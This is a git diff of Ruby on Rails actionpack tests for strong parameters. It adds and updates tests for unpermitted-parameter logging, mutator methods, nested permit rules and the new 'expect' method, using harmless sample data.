+    request_params = { food: "tomato", fishing: "Turnips", car: "Mercedes", music: "No. 9" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameters: :fishing, :car, :music. Context: { action: my_action, controller: my_controller }") do
+      params.transform_values { |v| v.upcase }.permit(:food)
+    end
+  end
+
+  test "logs on unexpected params with transform_keys" do
+    request_params = { food: "tomato", fishing: "Turnips", car: "Mercedes", music: "No. 9" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameters: :FISHING, :CAR, :MUSIC. Context: { action: my_action, controller: my_controller }") do
+      params.transform_keys { |k| k.upcase }.permit(:FOOD)
+    end
+  end
+
+  test "logs on unexpected param with deep_transform_keys" do
+    request_params = { book: { pages: 48, title: "Hope" } }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameter: :TITLE. Context: { action: my_action, controller: my_controller }") do
+      params.deep_transform_keys { |k| k.upcase }.permit(BOOK: [:PAGES])
+    end
+  end
+
+  test "logs on unexpected param with select" do
+    request_params = { food: "tomato", fishing: "Turnips", car: "Mercedes", music: "No. 9" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameter: :music. Context: { action: my_action, controller: my_controller }") do
+      params.select { |k| k == "music" }.permit(:food)
+    end
+  end
+
+  test "logs on unexpected params with reject" do
+    request_params = { food: "tomato", fishing: "Turnips", car: "Mercedes", music: "No. 9" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameters: :fishing, :car. Context: { action: my_action, controller: my_controller }") do
+      params.reject { |k| k == "music" }.permit(:food)
+    end
+  end
+
+  test "logs on unexpected param with compact" do
+    request_params = { food: "tomato", fishing: "Turnips", car: nil, music: nil }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameter: :fishing. Context: { action: my_action, controller: my_controller }") do
+      params.compact.permit(:food)
+    end
+  end
+
+  test "logs on unexpected param with merge" do
+    request_params = { food: "tomato" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameter: :album. Context: { action: my_action, controller: my_controller }") do
+      params.merge(album: "My favorites").permit(:food)
+    end
+  end
+
+  test "logs on unexpected param with reverse_merge" do
+    request_params = { food: "tomato" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameter: :album. Context: { action: my_action, controller: my_controller }") do
+      params.reverse_merge(album: "My favorites").permit(:food)
+    end
+  end
+
+  private
     def assert_logged(message)
-      old_logger = ActionController::Base.logger
+      old_logger = ActionController::LogSubscriber.logger
       log = StringIO.new
-      ActionController::Base.logger = Logger.new(log)
+      ActionController::LogSubscriber.logger = Logger.new(log)
 
       begin
         yield
@@ -62,7 +215,7 @@ def assert_logged(message)
         log.rewind
         assert_match message, log.read
       ensure
-        ActionController::Base.logger = old_logger
+        ActionController::LogSubscriber.logger = old_logger
       end
     end
 end
diff --git a/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb b/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb
index 88fb477c10b53..c890839727c0e 100644
--- a/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb
+++ b/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
 
@@ -19,7 +21,7 @@ class MultiParameterAttributesTest < ActiveSupport::TestCase
 
     permitted = params.permit book: [ :shipped_at, :price ]
 
-    assert permitted.permitted?
+    assert_predicate permitted, :permitted?
 
     assert_equal "2012", permitted[:book]["shipped_at(1i)"]
     assert_equal "3", permitted[:book]["shipped_at(2i)"]
diff --git a/actionpack/test/controller/parameters/mutators_test.rb b/actionpack/test/controller/parameters/mutators_test.rb
index e61bbdbe137a4..f620bab731330 100644
--- a/actionpack/test/controller/parameters/mutators_test.rb
+++ b/actionpack/test/controller/parameters/mutators_test.rb
@@ -1,6 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
-require "active_support/core_ext/hash/transform_values"
 
 class ParametersMutatorsTest < ActiveSupport::TestCase
   setup do
@@ -18,82 +19,202 @@ class ParametersMutatorsTest < ActiveSupport::TestCase
 
   test "delete retains permitted status" do
     @params.permit!
-    assert @params.delete(:person).permitted?
+    assert_predicate @params.delete(:person), :permitted?
   end
 
   test "delete retains unpermitted status" do
-    assert_not @params.delete(:person).permitted?
+    assert_not_predicate @params.delete(:person), :permitted?
+  end
+
+  test "delete returns the value when the key is present" do
+    assert_equal "32", @params[:person].delete(:age)
+  end
+
+  test "delete removes the entry when the key present" do
+    @params[:person].delete(:age)
+    assert_not @params[:person].key?(:age)
+  end
+
+  test "delete returns nil when the key is not present" do
+    assert_nil @params[:person].delete(:first_name)
+  end
+
+  test "delete returns the value of the given block when the key is not present" do
+    assert_equal "David", @params[:person].delete(:first_name) { "David" }
+  end
+
+  test "delete yields the key to the given block when the key is not present" do
+    assert_equal "first_name: David", @params[:person].delete(:first_name) { |k| "#{k}: David" }
   end
 
   test "delete_if retains permitted status" do
     @params.permit!
-    assert @params.delete_if { |k| k == "person" }.permitted?
+    assert_predicate @params.delete_if { |k| k == "person" }, :permitted?
   end
 
   test "delete_if retains unpermitted status" do
-    assert_not @params.delete_if { |k| k == "person" }.permitted?
+    assert_not_predicate @params.delete_if { |k| k == "person" }, :permitted?
   end
 
   test "extract! retains permitted status" do
     @params.permit!
-    assert @params.extract!(:person).permitted?
+    assert_predicate @params.extract!(:person), :permitted?
   end
 
   test "extract! retains unpermitted status" do
-    assert_not @params.extract!(:person).permitted?
+    assert_not_predicate @params.extract!(:person), :permitted?
   end
 
   test "keep_if retains permitted status" do
     @params.permit!
-    assert @params.keep_if { |k, v| k == "person" }.permitted?
+    assert_predicate @params.keep_if { |k, v| k == "person" }, :permitted?
   end
 
   test "keep_if retains unpermitted status" do
-    assert_not @params.keep_if { |k, v| k == "person" }.permitted?
+    assert_not_predicate @params.keep_if { |k, v| k == "person" }, :permitted?
   end
 
   test "reject! retains permitted status" do
     @params.permit!
-    assert @params.reject! { |k| k == "person" }.permitted?
+    assert_predicate @params.reject! { |k| k == "person" }, :permitted?
   end
 
   test "reject! retains unpermitted status" do
-    assert_not @params.reject! { |k| k == "person" }.permitted?
+    assert_not_predicate @params.reject! { |k| k == "person" }, :permitted?
   end
 
   test "select! retains permitted status" do
     @params.permit!
-    assert @params.select! { |k| k != "person" }.permitted?
+    assert_predicate @params.select! { |k| k != "person" }, :permitted?
   end
 
   test "select! retains unpermitted status" do
-    assert_not @params.select! { |k| k != "person" }.permitted?
+    assert_not_predicate @params.select! { |k| k != "person" }, :permitted?
   end
 
   test "slice! retains permitted status" do
     @params.permit!
-    assert @params.slice!(:person).permitted?
+    assert_predicate @params.slice!(:person), :permitted?
   end
 
   test "slice! retains unpermitted status" do
-    assert_not @params.slice!(:person).permitted?
+    assert_not_predicate @params.slice!(:person), :permitted?
   end
 
   test "transform_keys! retains permitted status" do
     @params.permit!
-    assert @params.transform_keys! { |k| k }.permitted?
+    assert_predicate @params.transform_keys! { |k| k }, :permitted?
   end
 
   test "transform_keys! retains unpermitted status" do
-    assert_not @params.transform_keys! { |k| k }.permitted?
+    assert_not_predicate @params.transform_keys! { |k| k }, :permitted?
   end
 
   test "transform_values! retains permitted status" do
     @params.permit!
-    assert @params.transform_values! { |v| v }.permitted?
+    assert_predicate @params.transform_values! { |v| v }, :permitted?
   end
 
   test "transform_values! retains unpermitted status" do
-    assert_not @params.transform_values! { |v| v }.permitted?
+    assert_not_predicate @params.transform_values! { |v| v }, :permitted?
+  end
+
+  test "deep_transform_keys! retains permitted status" do
+    @params.permit!
+    assert_predicate @params.deep_transform_keys! { |k| k }, :permitted?
+  end
+
+  test "deep_transform_keys! transforms nested keys" do
+    @params.permit!
+    @params.deep_transform_keys!(&:upcase)
+
+    expected_hash = { "PERSON" => { "AGE" => "32", "NAME" => { "FIRST" => "David", "LAST" => "Heinemeier Hansson" }, "ADDRESSES" => [{ "CITY" => "Chicago", "STATE" => "Illinois" }] } }
+    assert_equal @params.to_hash, expected_hash
+  end
+
+  test "deep_transform_keys transforms nested keys" do
+    original_hash = @params.to_unsafe_h
+    @params.permit!
+    new_params = @params.deep_transform_keys(&:upcase)
+
+    assert_equal @params.to_hash, original_hash
+
+    expected_hash = { "PERSON" => { "AGE" => "32", "NAME" => { "FIRST" => "David", "LAST" => "Heinemeier Hansson" }, "ADDRESSES" => [{ "CITY" => "Chicago", "STATE" => "Illinois" }] } }
+    assert_equal new_params.to_hash, expected_hash
+  end
+
+  test "deep_transform_keys! retains unpermitted status" do
+    assert_not_predicate @params.deep_transform_keys! { |k| k }, :permitted?
+  end
+
+  test "compact retains permitted status" do
+    @params.permit!
+    assert_predicate @params.compact, :permitted?
+  end
+
+  test "compact retains unpermitted status" do
+    assert_not_predicate @params.compact, :permitted?
+  end
+
+  test "compact! returns nil when no values are nil" do
+    assert_nil @params.compact!
+  end
+
+  test "compact! retains permitted status" do
+    @params[:person] = nil
+    @params.permit!
+    assert_predicate @params.compact!, :permitted?
+  end
+
+  test "compact! retains unpermitted status" do
+    @params[:person] = nil
+    assert_not_predicate @params.compact!, :permitted?
+  end
+
+  test "compact_blank retains permitted status" do
+    @params.permit!
+    assert_predicate @params.compact_blank, :permitted?
+  end
+
+  test "compact_blank retains unpermitted status" do
+    assert_not_predicate @params.compact_blank, :permitted?
+  end
+
+  test "compact_blank! retains permitted status" do
+    @params.permit!
+    assert_predicate @params.compact_blank!, :permitted?
+  end
+
+  test "compact_blank! retains unpermitted status" do
+    assert_not_predicate @params.compact_blank!, :permitted?
+  end
+
+  test "to_h returns a ActiveSupport::HashWithIndifferentAccess" do
+    @params.permit!
+    params_hash = @params.to_h
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, params_hash
+  end
+
+  # rubocop:disable Style/HashTransformKeys
+  test "to_h receives a block and transforms keys" do
+    params = ActionController::Parameters.new(name: "Alex", age: "40", location: "Beijing")
+    params.permit!
+    params_hash = params.to_h { |key, value| [:"#{key}_modified", value] }
+    assert_equal %w(name_modified age_modified location_modified), params_hash.keys
+  end
+  # rubocop:enable Style/HashTransformKeys
+
+  # rubocop:disable Style/HashTransformValues
+  test "to_h receives a block and transforms values" do
+    params = ActionController::Parameters.new(name: "Alex", age: "40", location: "Beijing")
+    params.permit!
+    params_hash = params.to_h { |key, value| [key, value.is_a?(String) ? "#{value}_modified" : value] }
+    assert_equal %w(Alex_modified 40_modified Beijing_modified), params_hash.values
+  end
+  # rubocop:enable Style/HashTransformValues
+
+  test "to_h does not include unpermitted params" do
+    params = ActionController::Parameters.new(name: "Alex", age: "40", location: "Beijing")
+    assert_raises(ActionController::UnfilteredParameters) { params.to_h { |key, value| [key, value] } }
   end
 end
diff --git a/actionpack/test/controller/parameters/nested_parameters_permit_test.rb b/actionpack/test/controller/parameters/nested_parameters_permit_test.rb
index 00e591d5a7222..8bc1b119275a5 100644
--- a/actionpack/test/controller/parameters/nested_parameters_permit_test.rb
+++ b/actionpack/test/controller/parameters/nested_parameters_permit_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
 
 class NestedParametersPermitTest < ActiveSupport::TestCase
   def assert_filtered_out(params, key)
-    assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+    assert_not params.has_key?(key), "key #{key.inspect} has not been filtered out"
   end
 
   test "permitted nested parameters" do
@@ -30,7 +32,7 @@ def assert_filtered_out(params, key)
 
     permitted = params.permit book: [ :title, { authors: [ :name ] }, { details: :pages }, :id ]
 
-    assert permitted.permitted?
+    assert_predicate permitted, :permitted?
     assert_equal "Romeo and Juliet", permitted[:book][:title]
     assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
     assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
@@ -123,7 +125,7 @@ def assert_filtered_out(params, key)
     assert_nil permitted[:book][:genre]
   end
 
-  test "fields_for-style nested params" do
+  test "nested params with numeric keys" do
     params = ActionController::Parameters.new(
       book: {
         authors_attributes: {
@@ -148,7 +150,33 @@ def assert_filtered_out(params, key)
     assert_filtered_out permitted[:book][:authors_attributes]["0"], :age_of_death
   end
 
-  test "fields_for-style nested params with negative numbers" do
+  test "nested params with non_numeric keys" do
+    params = ActionController::Parameters.new(
+      book: {
+        authors_attributes: {
+          '0': { name: "William Shakespeare", age_of_death: "52" },
+          '1': { name: "Unattributed Assistant" },
+          '2': "Not a hash",
+          'new_record': { name: "Some name" }
+        }
+      })
+    permitted = params.permit book: { authors_attributes: [ :name ] }
+
+    assert_not_nil permitted[:book][:authors_attributes]["0"]
+    assert_not_nil permitted[:book][:authors_attributes]["1"]
+
+    assert_nil permitted[:book][:authors_attributes]["2"]
+    assert_nil permitted[:book][:authors_attributes]["new_record"]
+    assert_equal "William Shakespeare", permitted[:book][:authors_attributes]["0"][:name]
+    assert_equal "Unattributed Assistant", permitted[:book][:authors_attributes]["1"][:name]
+
+    assert_equal(
+      { "book" => { "authors_attributes" => { "0" => { "name" => "William Shakespeare" }, "1" => { "name" => "Unattributed Assistant" } } } },
+      permitted.to_h
+    )
+  end
+
+  test "nested params with negative numeric keys" do
     params = ActionController::Parameters.new(
       book: {
         authors_attributes: {
@@ -166,6 +194,75 @@ def assert_filtered_out(params, key)
     assert_filtered_out permitted[:book][:authors_attributes]["-1"], :age_of_death
   end
 
+  test "nested params with numeric keys addressing individual numeric keys" do
+    params = ActionController::Parameters.new(
+      book: {
+        authors_attributes: {
+          '0': { name: "William Shakespeare", age_of_death: "52" },
+          '1': { name: "Unattributed Assistant" },
+          '2': { name: %w(injected names) }
+        }
+      })
+    permitted = params.permit book: { authors_attributes: { '1': [ :name ], '0': [ :name, :age_of_death ] } }
+
+    assert_equal(
+      { "book" => { "authors_attributes" => { "0" => { "name" => "William Shakespeare", "age_of_death" => "52" }, "1" => { "name" => "Unattributed Assistant" } } } },
+      permitted.to_h
+    )
+  end
+
+  test "nested params with numeric keys addressing individual numeric keys using require first" do
+    params = ActionController::Parameters.new(
+      book: {
+        authors_attributes: {
+          '0': { name: "William Shakespeare", age_of_death: "52" },
+          '1': { name: "Unattributed Assistant" },
+          '2': { name: %w(injected names) }
+        }
+      })
+
+    permitted = params.expect(book: { authors_attributes: { '1': [:name] } })
+
+    assert_equal(
+      { "authors_attributes" => { "1" => { "name" => "Unattributed Assistant" } } },
+      permitted.to_h
+    )
+  end
+
+  test "nested params with numeric keys addressing individual numeric keys to arrays" do
+    params = ActionController::Parameters.new(
+      book: {
+        authors_attributes: {
+          '0': ["draft 1", "draft 2", "draft 3"],
+          '1': ["final draft"],
+          '2': { name: %w(injected names) }
+        }
+      })
+    permitted = params.permit book: { authors_attributes: { '2': [ :name ], '0': [] } }
+
+    assert_equal(
+      { "book" => { "authors_attributes" => { "2" => {}, "0" => ["draft 1", "draft 2", "draft 3"] } } },
+      permitted.to_h
+    )
+  end
+
+  test "nested params with numeric keys addressing individual numeric keys to more nested params" do
+    params = ActionController::Parameters.new(
+      book: {
+        authors_attributes: {
+          '0': ["draft 1", "draft 2", "draft 3"],
+          '1': ["final draft"],
+          '2': { name: { "projects" => [ "hamlet", "Othello" ] } }
+        }
+      })
+    permitted = params.permit book: { authors_attributes: { '2': { name: { projects: [] } }, '0': [] } }
+
+    assert_equal(
+      { "book" => { "authors_attributes" => { "2" => { "name" => { "projects" => ["hamlet", "Othello"] } }, "0" => ["draft 1", "draft 2", "draft 3"] } } },
+      permitted.to_h
+    )
+  end
+
   test "nested number as key" do
     params = ActionController::Parameters.new(
       product: {
@@ -174,7 +271,7 @@ def assert_filtered_out(params, key)
           "1" => "prop1"
         }
       })
-    params = params.require(:product).permit(properties: ["0"])
+    params = params.expect(product: { properties: ["0"] })
     assert_not_nil        params[:properties]["0"]
     assert_nil            params[:properties]["1"]
     assert_equal "prop0", params[:properties]["0"]
diff --git a/actionpack/test/controller/parameters/parameters_expect_test.rb b/actionpack/test/controller/parameters/parameters_expect_test.rb
new file mode 100644
index 0000000000000..f879a56332707
--- /dev/null
+++ b/actionpack/test/controller/parameters/parameters_expect_test.rb
@@ -0,0 +1,267 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/http/upload"
+require "action_controller/metal/strong_parameters"
+
+class ParametersExpectTest < ActiveSupport::TestCase
+  setup do
+    @params = ActionController::Parameters.new(
+      person: {
+        age: "32",
+        name: {
+          first: "David",
+          last: "Heinemeier Hansson"
+        },
+        addresses: [{ city: "Chicago", state: "Illinois" }]
+      }
+    )
+  end
+
+  test "key to array: returns only permitted scalar keys" do
+    permitted = @params.expect(person: [:age, :name, :addresses])
+
+    assert_equal({ "age" => "32" }, permitted.to_unsafe_h)
+  end
+
+  test "key to hash: returns permitted params" do
+    permitted = @params.expect(person: { name: [:first, :last] })
+
+    assert_equal({ "name" => { "first" => "David", "last" => "Heinemeier Hansson" } }, permitted.to_h)
+  end
+
+  test "key to empty hash: permits all params" do
+    permitted = @params.expect(person: {})
+
+    assert_equal({ "age" => "32", "name" => { "first" => "David", "last" => "Heinemeier Hansson" }, "addresses" => [{ "city" => "Chicago", "state" => "Illinois" }] }, permitted.to_h)
+    assert_predicate permitted, :permitted?
+  end
+
+  test "keys to arrays: returns permitted params in hash key order" do
+    name, addresses = @params[:person].expect(name: [:first, :last], addresses: [[:city]])
+
+    assert_equal({ "first" => "David", "last" => "Heinemeier Hansson" }, name.to_h)
+    assert_equal({ "city" => "Chicago" }, addresses.first.to_h)
+  end
+
+  test "key to array of keys: raises when params is an array" do
+    params = ActionController::Parameters.new(name: "Martin", pies: [{ flavor: "pumpkin" }])
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(pies: [:flavor])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(pies: [:flavor])
+    end
+  end
+
+  test "key to explicit array: returns permitted array" do
+    params = ActionController::Parameters.new(name: "Martin", pies: [{ flavor: "pumpkin" }, { flavor: "chicken pot" }])
+    pies = params.expect(pies: [[:flavor]])
+
+    assert_equal({ "flavor" => "pumpkin" }, pies[0].to_h)
+    assert_equal({ "flavor" => "chicken pot" }, pies[1].to_h)
+  end
+
+  test "key to explicit array: returns array when params is a hash" do
+    params = ActionController::Parameters.new(name: "Martin", pies: { flavor: "pumpkin" })
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(pies: [[:flavor]])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(pies: [[:flavor]])
+    end
+  end
+
+  test "key to explicit array: returns empty array when params empty array" do
+    params = ActionController::Parameters.new(name: "Martin", pies: [])
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(pies: [[:flavor]])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(pies: [[:flavor]])
+    end
+  end
+
+  test "key to mixed array: returns permitted params" do
+    permitted = @params.expect(person: [ :age, name: [:first, :last] ])
+
+    assert_equal({ "age" => "32", "name" => { "first" => "David", "last" => "Heinemeier Hansson" } }, permitted.to_h)
+  end
+
+  test "chain of keys: returns permitted params" do
+    params = ActionController::Parameters.new(person: { name: "David" })
+    name = params.expect(person: :name).expect(:name)
+
+    assert_equal "David", name
+  end
+
+  test "array of key: returns single permitted param" do
+    params = ActionController::Parameters.new(a: 1, b: 2)
+    a = params.expect(:a)
+
+    assert_equal 1, a
+  end
+
+  test "array of keys: returns multiple permitted params" do
+    params = ActionController::Parameters.new(a: 1, b: 2)
+    a, b = params.expect(:a, :b)
+
+    assert_equal 1, a
+    assert_equal 2, b
+  end
+
+  test "key: raises ParameterMissing on nil, blank, non-scalar or non-permitted type" do
+    values  = [nil, "", {}, [], [1], { foo: "bar" }, Object.new]
+    values.each do |value|
+      params = ActionController::Parameters.new(id: value)
+
+      assert_raises(ActionController::ParameterMissing) do
+        params.expect(:id)
+      end
+      assert_raises(ActionController::ExpectedParameterMissing) do
+        params.expect!(pies: [[:flavor]])
+      end
+    end
+  end
+
+  test "key: raises ParameterMissing if not present in params" do
+    params = ActionController::Parameters.new(name: "Joe")
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(:id)
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(:id)
+    end
+  end
+
+  test "key to empty array: raises ParameterMissing on empty" do
+    params = ActionController::Parameters.new(ids: [])
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(ids: [])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(ids: [])
+    end
+  end
+
+  test "key to empty array: raises ParameterMissing on scalar" do
+    params = ActionController::Parameters.new(person: 1)
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(ids: [])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(ids: [])
+    end
+  end
+
+  test "key to non-scalar: raises ParameterMissing on scalar" do
+    params = ActionController::Parameters.new(foo: "bar")
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(foo: [])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(foo: [])
+    end
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(foo: [:bar])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(foo: [:bar])
+    end
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(foo: :bar)
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(foo: :bar)
+    end
+  end
+
+  test "key to empty hash: raises ParameterMissing on empty" do
+    params = ActionController::Parameters.new(person: {})
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(person: {})
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(person: {})
+    end
+  end
+
+  test "key to empty hash: raises ParameterMissing on scalar" do
+    params = ActionController::Parameters.new(person: 1)
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect(person: {})
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!(person: {})
+    end
+  end
+
+  test "key: permitted scalar values" do
+    values  = ["a", :a]
+    values += [0, 1.0, 2**128, BigDecimal(1)]
+    values += [true, false]
+    values += [Date.today, Time.now, DateTime.now]
+    values += [STDOUT, StringIO.new, ActionDispatch::Http::UploadedFile.new(tempfile: __FILE__),
+      Rack::Test::UploadedFile.new(__FILE__)]
+
+    values.each do |value|
+      params = ActionController::Parameters.new(id: value)
+
+      assert_equal value, params.expect(:id)
+    end
+  end
+
+  test "key: unknown keys are filtered out" do
+    params = ActionController::Parameters.new(id: "1234", injected: "injected")
+
+    assert_equal "1234", params.expect(:id)
+  end
+
+  test "array of keys: raises ParameterMissing when one is missing" do
+    params = ActionController::Parameters.new(a: 1)
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect([:a, :b])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!([:a, :b])
+    end
+  end
+
+  test "array of keys: raises ParameterMissing when one is non-scalar" do
+    params = ActionController::Parameters.new(a: 1, b: [])
+
+    assert_raises(ActionController::ParameterMissing) do
+      params.expect([:a, :b])
+    end
+    assert_raises(ActionController::ExpectedParameterMissing) do
+      params.expect!([:a, :b])
+    end
+  end
+
+  test "key to empty array: arrays of permitted scalars pass" do
+    [["foo"], [1], ["foo", "bar"], [1, 2, 3]].each do |array|
+      params = ActionController::Parameters.new(id: array)
+      permitted = params.expect(id: [])
+      assert_equal array, permitted
+    end
+  end
+
+  test "key to empty array: arrays of non-permitted scalar do not pass" do
+    [[Object.new], [[]], [[1]], [{}], [{ id: "1" }]].each do |non_permitted_scalar|
+      params = ActionController::Parameters.new(id: non_permitted_scalar)
+      assert_raises(ActionController::ParameterMissing) do
+        params.expect(id: [])
+      end
+      assert_raises(ActionController::ExpectedParameterMissing) do
+        params.expect!(id: [])
+      end
+    end
+  end
+end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
index 8920914af1cb6..97acfd46529b9 100644
--- a/actionpack/test/controller/parameters/parameters_permit_test.rb
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_dispatch/http/upload"
 require "action_controller/metal/strong_parameters"
 
 class ParametersPermitTest < ActiveSupport::TestCase
   def assert_filtered_out(params, key)
-    assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+    assert_not params.has_key?(key), "key #{key.inspect} has not been filtered out"
   end
 
   setup do
@@ -51,13 +53,13 @@ def walk_permitted(params)
   test "if nothing is permitted, the hash becomes empty" do
     params = ActionController::Parameters.new(id: "1234")
     permitted = params.permit
-    assert permitted.permitted?
-    assert permitted.empty?
+    assert_predicate permitted, :permitted?
+    assert_empty permitted
   end
 
   test "key: permitted scalar values" do
     values  = ["a", :a, nil]
-    values += [0, 1.0, 2**128, BigDecimal.new(1)]
+    values += [0, 1.0, 2**128, BigDecimal(1)]
     values += [true, false]
     values += [Date.today, Time.now, DateTime.now]
     values += [STDOUT, StringIO.new, ActionDispatch::Http::UploadedFile.new(tempfile: __FILE__),
@@ -134,7 +136,7 @@ def walk_permitted(params)
   test "key: it is not assigned if not present in params" do
     params = ActionController::Parameters.new(name: "Joe")
     permitted = params.permit(:id)
-    assert !permitted.has_key?(:id)
+    assert_not permitted.has_key?(:id)
   end
 
   test "key to empty array: empty arrays pass" do
@@ -188,7 +190,8 @@ def walk_permitted(params)
         tabstops:   [4, 8, 12, 16],
         suspicious: [true, Object.new, false, /yo!/],
         dubious:    [{ a: :a, b: /wtf!/ }, { c: :c }],
-        injected:   Object.new
+        injected:   Object.new,
+        nested:     [[1, 2], [3, 4]]
       },
       hacked: 1 # not a hash
     )
@@ -203,6 +206,7 @@ def walk_permitted(params)
     assert_equal [true, false],     permitted[:preferences][:suspicious]
     assert_equal :a,                permitted[:preferences][:dubious][0][:a]
     assert_equal :c,                permitted[:preferences][:dubious][1][:c]
+    assert_equal [[1, 2], [3, 4]],  permitted[:preferences][:nested]
 
     assert_filtered_out permitted[:preferences][:dubious][0], :b
     assert_filtered_out permitted[:preferences], :injected
@@ -225,7 +229,7 @@ def walk_permitted(params)
   test "hashes in array values get wrapped" do
     params = ActionController::Parameters.new(foo: [{}, {}])
     params[:foo].each do |hash|
-      assert !hash.permitted?
+      assert_not_predicate hash, :permitted?
     end
   end
 
@@ -248,15 +252,28 @@ def walk_permitted(params)
 
     permitted = params.permit(users: [:id])
     permitted[:users] << { injected: 1 }
-    assert_not permitted[:users].last.permitted?
+    assert_not_predicate permitted[:users].last, :permitted?
+  end
+
+  test "grow until set rehashes" do
+    params = ActionController::Parameters.new(users: [{ id: 1 }])
+
+    permitted = params.permit(users: [:id])
+    permitted[:users] << { injected: 1 }
+    20.times { |i|
+      list = ["foo#{i}"]
+      permitted[:xx] = list
+      assert_equal permitted[:xx], list
+    }
+    assert_not_predicate permitted[:users].last, :permitted?
   end
 
-  test "fetch doesnt raise ParameterMissing exception if there is a default" do
+  test "fetch doesn't raise ParameterMissing exception if there is a default" do
     assert_equal "monkey", @params.fetch(:foo, "monkey")
     assert_equal "monkey", @params.fetch(:foo) { "monkey" }
   end
 
-  test "fetch doesnt raise ParameterMissing exception if there is a default that is nil" do
+  test "fetch doesn't raise ParameterMissing exception if there is a default that is nil" do
     assert_nil @params.fetch(:foo, nil)
     assert_nil @params.fetch(:foo) { nil }
   end
@@ -270,12 +287,12 @@ def walk_permitted(params)
   end
 
   test "not permitted is sticky beyond merges" do
-    assert !@params.merge(a: "b").permitted?
+    assert_not_predicate @params.merge(a: "b"), :permitted?
   end
 
   test "permitted is sticky beyond merges" do
     @params.permit!
-    assert @params.merge(a: "b").permitted?
+    assert_predicate @params.merge(a: "b"), :permitted?
   end
 
   test "merge with parameters" do
@@ -286,12 +303,12 @@ def walk_permitted(params)
   end
 
   test "not permitted is sticky beyond merge!" do
-    assert_not @params.merge!(a: "b").permitted?
+    assert_not_predicate @params.merge!(a: "b"), :permitted?
   end
 
   test "permitted is sticky beyond merge!" do
     @params.permit!
-    assert @params.merge!(a: "b").permitted?
+    assert_predicate @params.merge!(a: "b"), :permitted?
   end
 
   test "merge! with parameters" do
@@ -302,6 +319,103 @@ def walk_permitted(params)
     assert_equal "32", @params[:person][:age]
   end
 
+  test "not permitted is sticky beyond deep merges" do
+    assert_not_predicate @params.deep_merge(a: "b"), :permitted?
+  end
+
+  test "permitted is sticky beyond deep merges" do
+    @params.permit!
+    assert_predicate @params.deep_merge(a: "b"), :permitted?
+  end
+
+  test "not permitted is sticky beyond deep_merge!" do
+    assert_not_predicate @params.deep_merge!(a: "b"), :permitted?
+  end
+
+  test "permitted is sticky beyond deep_merge!" do
+    @params.permit!
+    assert_predicate @params.deep_merge!(a: "b"), :permitted?
+  end
+
+  test "deep_merge with other Hash" do
+    first, last = @params.dig(:person, :name).values_at(:first, :last)
+    merged_params = @params.deep_merge(person: { name: { last: "A." } })
+
+    assert_equal first, merged_params.dig(:person, :name, :first)
+    assert_not_equal last, merged_params.dig(:person, :name, :last)
+    assert_equal "A.", merged_params.dig(:person, :name, :last)
+  end
+
+  test "deep_merge! with other Hash" do
